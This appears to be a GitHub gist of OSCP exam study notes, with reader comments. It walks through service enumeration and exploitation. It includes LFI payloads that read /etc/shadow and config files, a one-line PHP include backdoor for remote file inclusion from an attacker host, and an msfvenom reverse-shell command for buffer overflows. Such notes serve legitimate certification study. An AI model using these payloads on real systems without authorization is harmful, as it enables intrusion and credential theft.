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How to pass the OSCP

  1. Recon
  2. Find vuln
  3. Exploit
  4. Document it


Unicornscans in cli, nmap in msfconsole to help store loot in database.


unicornscan -i tap0 -I -mT $IP:a
db_nmap -e tap0 -n -v -Pn -sV -sC --version-light -A -p


unicornscan -i tap0 -I -mU $IP:a
db_nmap -e tap0 -n -v -Pn -sV -sC --version-light -A -sU -p


This is the essential part of penetration. Find out what is available and how you could punch through it with minimum ease.



SEARCH ALL THE VERSIONS WITH searchsploit (or google -> APP VERSION)

HTTP - 80, 8080, 8000

curl -i ${IP}/robots.txt

Note down Server and other module versions.

searchsploit them ALL.

Visit all URLs from robots.txt.

nikto -host $IP
gobuster -u http://$IP -w /usr/share/seclists/Discovery/Web_Content/Top1000-RobotsDisallowed.txt

gobuster -u http://$IP -w /usr/share/seclists/Discovery/Web_Content/common.txt

if nothing, find more web word lists.

Browse the site but keep an eye on the burp window / source code / cookies etc.

Things to be on look for:

  • Default credentials for software
  • SQL-injectable GET/POST params
  • LFI/RFI through ?page=foo type params
  • LFI:
    • /etc/passwd | /etc/shadow insta-win
    • /var/www/html/config.php or similar paths to get SQL etc creds
    • ?page=php://filter/convert.base64-encode/resource=../config.php
    • ../../../../../boot.ini to find out windows version
  • RFI:
    • Have your PHP/cgi downloader ready
    • <?php include $_GET['inc']; ?> simplest backdoor to keep it dynamic without anything messing your output
    • Then you can just http://$IP/inc.php?inc=http://$YOURIP/bg.php and have full control with minimal footprint on target machine
    • get phpinfo()

HTTPS - 443

Heartbleed / CRIME / Other similar attacks

Read the actual SSL CERT to:

  • find out potential correct vhost to GET
  • is the clock skewed
  • any names that could be usernames for bruteforce/guessing.

FTP - 21

  • Anonymous login
  • Enumerate the hell out of the machine!
    • OS version
    • Other software you can find on the machine (Prog Files, yum.log, /bin)
    • password files
    • DLLs for msfpescan / BOF targets
  • Do you have UPLOAD potential?
    • Can you trigger execution of uploads?
    • Swap binaries?
  • Vulnerabilities in version / RCE / #WINNING?-D

SMB - 139, 445

enum4linux -a $IP

Read through the report and search for versions of things => searchsploit

smbclient -L $IP

Mount shares

mount -t cifs -o user=USERNAME,sec=ntlm,dir_mode=0077 "// Share" /mnt/cifs

Can you access shares?

  • Directly exploitable MSxx-xxx versions?
    • Worth burning MSF strike?

SNMP - UDP 161

  • Try to enumerate windows shares / network info

Quick test of communities:


Full discovery of everything you can:



  • Read / Write access?
    • Pretty much same things as FTP

SSH - 22

Unless you get a MOTD or a broken sshd version, you are SOOL and this is likely just a secondary access point once you break something else.

Email - 25, 110/995 or 143/993

SMTP, POP3(s) and IMAP(s) are good for enumerating users.

Also: CHECK VERSIONS and searchsploit

Buffer Overflow

  1. Determine length of overflow trigger w/ binary search "A"x1000
  2. Determine exact EIP with pattern_create.rb & pattern_offset.rb
  3. Determine badchars to make sure all of your payload is getting through
  4. Develop exploit
  • Is the payload right at ESP
    • JMP ESP
  • Is the payload before ESP
    • sub ESP, 200 and then JMP ESP
    • or
    • call [ESP-200]
  1. msfvenom -a x86 --platform windows/linux -p something/shell/reverse_tcp lhost=x.x.x.x lport=53 -f exe/elf/python/perl/php -o filename
  • Make sure it fits your payload length above
  1. Gain shell, local priv esc or rooted already?

Misc tools

  • cewl for crawling a site for bruteforcing user/password
  • don't forget about nmap scripts!
    • e.g. --script smtp-commands or --script auth-owners
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kphan451 commented Nov 3, 2016

Looks like a good guide, thanks for sharing. Small typo: SNMP port udp 161, not 169.

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mame82 commented Dec 3, 2016

Nice guide. Hint on OS discovery if file read, but no execution possible (FTP, TFTP)

  • Windows %windir%\system32\eula.txt
  • Linux \etc*release (/etc/redhat-release, /etc/lsb-release ...)

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unfo commented Apr 19, 2017

@kphan451 Thanks. Fixed

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Great info, question: 1. wrt to buffer overflows - when you don't have a copy of the (vuln) app - how do you do exploit-dev i.e. tweak the split/buff/nop size or find the address where its landing without running in debugger? .... sometimes I find the app - but - its the patched/newer version. 2. wrt to SSL certs - what can actually do if there is a time skew?

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Great! Thanks =D

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[...years later in 2018] This is still great advice. Thanks, @unfo !!

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m3ll-0 commented Sep 1, 2019

If you're going to use this guide solely to pass the OSCP you're going to have a hard time.

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unfo commented Oct 1, 2019

If you're going to use this guide solely to pass the OSCP you're going to have a hard time.

I am really hoping no one in their right mind thinks this is meant as a holistic guide. It was an addendum for my Path to OSCP series.

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